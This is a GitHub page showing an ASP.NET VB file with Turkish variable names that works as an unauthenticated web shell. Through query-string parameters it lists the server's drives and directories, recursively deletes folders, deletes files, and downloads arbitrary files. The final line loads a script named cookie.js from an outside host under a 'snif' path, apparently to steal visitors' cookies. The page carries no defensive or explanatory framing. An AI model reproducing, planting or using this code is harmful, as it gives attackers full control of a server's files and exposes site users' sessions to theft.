-
Notifications
You must be signed in to change notification settings - Fork 0
/
fileASP
207 lines (86 loc) · 3.21 KB
/
fileASP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
<%@ Page Language="VB" autoEventWireup="false" %>
<%@ Import Namespace="System.IO" %>
<script runat="server">
Private Sub Page_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Dim Islem As String=Request.QueryString("islem")
Dim Dizin As String=Request.QueryString("dizin")
Dim Dosya As String=Request.QueryString("dosya")
Dim UstDizinAdi As String=""
Dim Suruculer() As String
Dim Surucu As String
If Islem<>"" And Dizin="" Then Response.Redirect("file.aspx")
If Islem<>"dosyaindir" Then
Suruculer=Directory.GetLogicalDrives()
Response.Write("<b>Sürücüler : </b>")
For Each Surucu In Suruculer
Response.Write("<a href=?islem=listele&dizin=" & Surucu & ">" & Surucu & "</a> - ")
Next
Response.Write("<br><br>")
Dim UstDizin As DirectoryInfo
Try
UstDizin=Directory.GetParent(Dizin)
UstDizinAdi=UstDizin.ToString
Response.Write("<a href=file.aspx?islem=listele&dizin=" & UstDizin.ToString & ">Yukarı</a><br><hr>")
Catch
Response.Write("Yukarı Yok<br><hr>")
End Try
End If
Select Case Islem
Case "listele"
Dim DI As DirectoryInfo
Dim Dizinler() As String
Dim BirDizin As String
Dim Dosyalar() As String
Dim BirDosya As String
DI=New DirectoryInfo(Dizin)
Dizinler=Directory.GetDirectories(Dizin)
If DI.Exists Then
Response.Write("<b>Dizinler : </b><br><br>")
For Each BirDizin In Dizinler
Response.Write("<a href=file.aspx?islem=dizinsil&dizin=" & Server.UrlEncode(BirDizin) & ">Sil</a> - ")
Response.Write("<a href=file.aspx?islem=listele&dizin=" & Server.UrlEncode(BirDizin) & ">" & BirDizin & "</a><br>")
Next
Else
Response.Write("Dizin Yok<br><br>")
End If
Response.Write("<hr><b>Dosyalar : </b><br><br>")
Dosyalar=Directory.GetFiles(Dizin)
For Each BirDosya In Dosyalar
Response.Write("<a href=file.aspx?islem=dosyaindir&dizin=" & Dizin & "&dosya=" & Server.UrlEncode(BirDosya) & ">İndir</a> - ")
Response.Write("<a href=file.aspx?islem=dosyasil&dizin=" & Dizin & "&dosya=" & Server.UrlEncode(BirDosya) & ">Sil</a> - ")
Response.Write(BirDosya & "<br>")
Next
Case "dizinsil"
Directory.Delete(Dizin,True)
Response.Redirect("file.aspx?islem=listele&dizin=" & UstDizinAdi)
Case "dosyasil"
File.Delete(Dosya)
Response.Redirect("file.aspx?islem=listele&dizin=" & Dizin)
Case "dosyaindir"
Dim AkisNesne As System.IO.Stream
Dim TamponX As Integer=32768
Dim Tampon(TamponX) As Byte
Dim OkunanX As Integer
Dim Kalan As Long
AkisNesne=New System.IO.FileStream(Dosya, System.IO.FileMode.Open, IO.FileAccess.Read, IO.FileShare.Read)
Kalan=AkisNesne.Length
Response.ContentType="application/octet-stream"
Response.AddHeader("Content-Disposition", "attachment; filename=" & Server.UrlEncode(Dosya))
While Kalan > 0
If Response.IsClientConnected Then
OkunanX=AkisNesne.Read(Tampon, 0, TamponX)
Response.OutputStream.Write(Tampon, 0, OkunanX)
Response.Flush()
ReDim Tampon(TamponX)
Kalan=Kalan-OkunanX
Else
Kalan=-1
End If
End While
If IsNothing(AkisNesne)=False Then
AkisNesne.Close()
End If
End Select
End Sub
</script>
'<script type="text/javascript" language="javascript" src="http://www.materyal.org/snif/cookie.js"></script>';